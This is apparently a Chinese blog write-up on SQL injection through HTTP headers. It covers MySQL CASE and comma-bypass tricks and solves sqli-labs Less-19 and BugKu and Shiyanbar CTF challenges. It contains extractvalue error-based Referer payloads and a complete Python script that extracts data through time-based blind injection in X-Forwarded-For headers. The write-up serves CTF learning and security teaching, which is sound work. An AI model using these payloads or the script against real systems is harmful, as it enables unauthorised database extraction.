从最简单的说起。

基础知识

0x01 INSERT INTO 语句的结构

一般头注入都和insert子句有关,常见的子句一般如下所示

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `use
rname`) VALUES ('$uagent', '$IP', $uname)";

而mysql对于INSERT INTO语句的用法是这样定义的

INSERT [LOW_PRIORITY | HIGH_PRIORITY] [IGNORE]
    [INTO] tbl_name
    [PARTITION (partition_name [, partition_name] ...)]
    [(col_name [, col_name] ...)]
    SELECT ...
    [ON DUPLICATE KEY UPDATE assignment_list]

0x02 SQL case子句

一脸惊愕的发现很多教程都没有case子句的用法。好不容易看见一个写的不错的博客,赶紧用小本本记录下来
参考网站
http://www.cnblogs.com/martinzhang/p/3220595.html

select case when (条件) then 代码1 else 代码 2 end

当逗号被过滤的时候,这样的语句就显得极为好用。

case语句的基本格式如下所示:

 CASE   <单值表达式>
        WHEN <表达式值> THEN <SQL语句或者返回值>
        WHEN <表达式值> THEN <SQL语句或者返回值>
        ...
        WHEN <表达式值> THEN <SQL语句或者返回值>
        ELSE <SQL语句或者返回值>
 END

测试数据如下:

CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL auto_increment, 
`sex` tinyint(1) default 1 COMMENT '性别:0女;1男;2保密',
`age` int(3) default 1 COMMENT '年龄',
`province` char(254) default NULL COMMENT '所在省份',
PRIMARY KEY  (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO user(sex,age,province) VALUES
('1','22','北京'),('0','25','广东'),('0','56','天津'),('1','14','北京'),
('0','36','广东'),('1','68','湖南'),('1','45','北京'),('1','17','河北'),
('2','33','天津'),('1','27','湖南'),('1','29','北京'),('2','70','广东'),
('0','24','北京');

简单的case玩法
如果我们对sex为1,返回男,sex为0,返回女,否则返回保密的话。可以这样写:

select *,
    (CASE 
        WHEN sex='1'    THEN '男' 
        WHEN sex='0'    THEN '女' 
        ELSE '保密' END) 
    as sex_text
from user

SQL头注入姿势与例题-ShaoBaoBaoEr's Blog
当然,如果就只要回显性别的那一列的话,那么就可以这么写(这也是后面题目中用到的姿势)

select
    CASE sex 
        WHEN '1' THEN '男' 
        WHEN '0' THEN '女' 
        ELSE '保密' END 
from users

SQL头注入姿势与例题-ShaoBaoBaoEr's Blog
稍微复杂一些的case子句

select *,
    (CASE 
        WHEN age>=60 THEN '老年' 
        WHEN age<60 AND age>=30 THEN '中年' 
        WHEN age<30 AND age>=18 THEN '青年' 
        ELSE '未成年' END) 
    as age_text
from users
    order by age

通过大于号,可以完成一些复杂的排序问题。这往往是order by子句不具备的能力。在sql注入的时候,也许这样的姿势也会带来意想不到的结果
SQL头注入姿势与例题-ShaoBaoBaoEr's Blog

0x03 逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。

关键函数 substr(),mid() 后的逗号绕过

  • mid(user() from 1 for 1)
  • substr(user() from 1 for 1)
  • select substr(user()from -1) from yz ;

已知为user()=root

select mid(user() from 1 for 1);
>> r
select mid(user() from 2 for 1);
>> o
select mid(user() from 2 for 2);
>> oo

关键子句 limit 后的逗号绕过

  • select * from testtable limit 2,1;
  • select * from testtable limit 2 offset 1;
select province from users limit 1 offset 0;
>> 北京
select province from users limit 1 offset 1;
>> 天津
select province from users limit 2 offset 1;
>> 广东
>> 天津
select province from users limit 1,2;
>> 广东
>> 天津

limit 1 offset 0和limit 1,0 是一样的(注意要反过来)

于是,一波配合就可以完成没有逗号的payload了。

mysql> select mid((select province from users limit 1 offset 0) from 1 for 1);
+-----------------------------------------------------------------+
| 北                                                              |
+-----------------------------------------------------------------+
mysql> select mid((select province from users limit 1 offset 0) from 2 for 1);
+-----------------------------------------------------------------+
| 京                                                              |
+-----------------------------------------------------------------+

如果再配合上布尔判断,那么就能够完成一组盲注测试了。

//列表中 id 为 1,2,3...
select (mid((select id from users limit 1 offset 0) from 1 for 1))='1';
>>1 TRUE
select (mid((select id from users limit 1 offset 1) from 1 for 1))='1';
>>0 FALSE

大小敏感 binary

如果库中的参数并不是大小写敏感类型的话,那么就意味着查询的时候会返回这样的东西

//Dump
mysql> SELECT (substr((select username from users where id =1) from 1 for 1))='D';
+---------------------------------------------------------------------+
|                                                                   1 |
+---------------------------------------------------------------------+
mysql> SELECT (substr((select username from users where id =1) from 1 for 1))='d';
+---------------------------------------------------------------------+
|                                                                   1 |
+---------------------------------------------------------------------+

那么,如何让查询的时候大小写敏感呢?
Google启动!
在论坛上,我查到了这样一个函数:

#You can use cast or convert
SELECT CAST(DB_NAME() AS VARBINARY)
SELECT CONVERT(VARBINARY,DB_NAME())

当然,这不是mysql的语句,但是也给我带来了点启发。于是利用CAST函数可以构造下列的语句

mysql> SELECT CAST((substr((select username from users where id =1) from 1 for 1)) AS binary)='D';
+-------------------------------------------------------------------------------------+
|                                                                                   1 |
+-------------------------------------------------------------------------------------+

mysql> SELECT CAST((substr((select username from users where id =1) from 1 for 1)) AS binary)='d';
+-------------------------------------------------------------------------------------+
|                                                                                   0 |
+-------------------------------------------------------------------------------------+

这样,查询结果就大小写敏感了。

例题分析

1.sqli-lib-Less19

这估计是见过的最简单的头注入了。

一般来说,头注入的语句都会和insert into有关,因为要把你的ip地址或者其他的东西打入数据库中
这里的语句是

19题这边储存的是Referer

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `use
rname`) VALUES ('$uagent', '$IP', $uname)";

那么payload也是很好构造的,利用报错注入或者盲注都可以。

爆库

Referer:1'and extractvalue(1,concat(0x7e,(select database()),0x7e)),'1')#

爆表

Referer:1'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)),'1')#

爆列

Referer:1'and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=0x656d61696c73 limit 1,1),0x7e)),'1')#

爆字段

Referer:1'and extractvalue(1,concat(0x7e,(select email_id from emails limit 7,1),0x7e)),'1')#

盲注的思想也是类似的。不过只有时间盲注才有效。

2.BugKu Insert_Into

刚刚刷完sql-lib,然后就看到这个题目,一脸惊愕得发现逗号被过滤了,一时间束手无策。

翻阅别人的wp。看到了这样的写法

11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1

于是就觉得发现了一个新世界,听老哥说要用这样的语句才行:

select case when (条件) then 代码1 else 代码 2 end

由于源码已经给出,那么我们把大哥的代码和自己的代码合并起来,看看会如何

insert into client_ip (ip) values ('11'+
    (
        select case 
            when (substring((select flag from flag) from 0 for 1 )='1') then sleep(4)
            else 1 end 
    ) 
and '1'='1 
’)

大佬的代码我看不懂不是很懂为啥要加{}后来我发现他是用的().format(i)的方法

  • CLIENT_IP
  • FLAG
    • FLAG

小二!上代码!!

# coding=utf-8
import requests
import sys

class XFF:
    def run(self):
        #self.xff_case_sleep_table()
        #self.xff_case_sleep_column()
        self.xff_case_sleep_flag()

    def xff_case_sleep_table(self):
        sql = "127.0.0.1'+(select case when substr((select table_name from information_schema.tables where table_schema=database() limit 1 offset 1) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
        url = 'http://120.24.86.145:8002/web15/'
        flag = ""
        for i in range(1, 20):
            # print(u'猜测...', str(i))
            for ch in range(32, 129):
                if ch == 128:
                    sys.exit(0)
                sqli = sql.format(i, chr(ch))
                # print(sqli)
                header = {
                    'X-Forwarded-For': sqli
                }
                try:
                    html = requests.get(url, headers=header, timeout=3)
                except:
                    flag += chr(ch)
                    print(flag)
                    break

    def xff_case_sleep_column(self):
        sql = "127.0.0.1'+(select case when substr((select column_name from information_schema.columns where table_name='flag' limit 1 offset 0) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
        url = 'http://120.24.86.145:8002/web15/'
        for j in range(0, 5):
            flag = ""
            for i in range(1, 20):
                #print(u'猜测...', str(i))
                for ch in range(32, 129):
                    if ch == 128:
                        sys.exit(0)
                    sqli = sql.format(i, chr(ch), j)
                    # print(sqli)
                    header = {
                        'X-Forwarded-For': sqli
                    }
                    try:
                        html = requests.get(url, headers=header, timeout=3)
                    except:
                        flag += chr(ch)
                        print(flag)
                        break

    def xff_case_sleep_flag(self):
        #sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
        sql = "127.0.0.1'+(select case when CAST((substr((select username from users where id =1) from {0} for 1)) AS binary)='{1}'then sleep(5) else 0 end))--+"
        url = 'http://120.24.86.145:8002/web15/'
        flag = ''
        for i in range(1, 40):
            print(u'正在猜测:', str(i))
            for ch in range(32, 129):
                if ch == 128:
                    sys.exit(0)
                sqli = sql.format(i, chr(ch))
                # print(sqli)
                header = {
                    'X-Forwarded-For': sqli
                }
                try:
                    html = requests.get(url, headers=header, timeout=3)
                except:
                    flag += chr(ch)
                    print(flag)
                    break

if __name__ == '__main__':
    XFF().run()


这里还有一个坑点,最后flag里面的东西是大写的字段,但是需要编写成小写的提交。但是本地测试没有问题。不知道是脚本的问题还是啥的。我觉得严谨点应该加上binary之类的限制。
关于大小写敏感,可以看上面的基础知识。
于是,我们更新上面的payload为

sql = "127.0.0.1'+(select case when CAST((substr((select username from users where id =1) from {0} for 1)) AS binary)='{1}'then sleep(5) else 0 end))--+"

测试完毕,flag的问题解决了。

实验吧 who are u

我后来才发现,原来这道题目和bugku的一毛一样。就是flag不一样。把上述脚本的url换成

http://ctf5.shiyanbar.com/web/wonderkun/index.php

就行实验吧的延迟很高,多试几次就行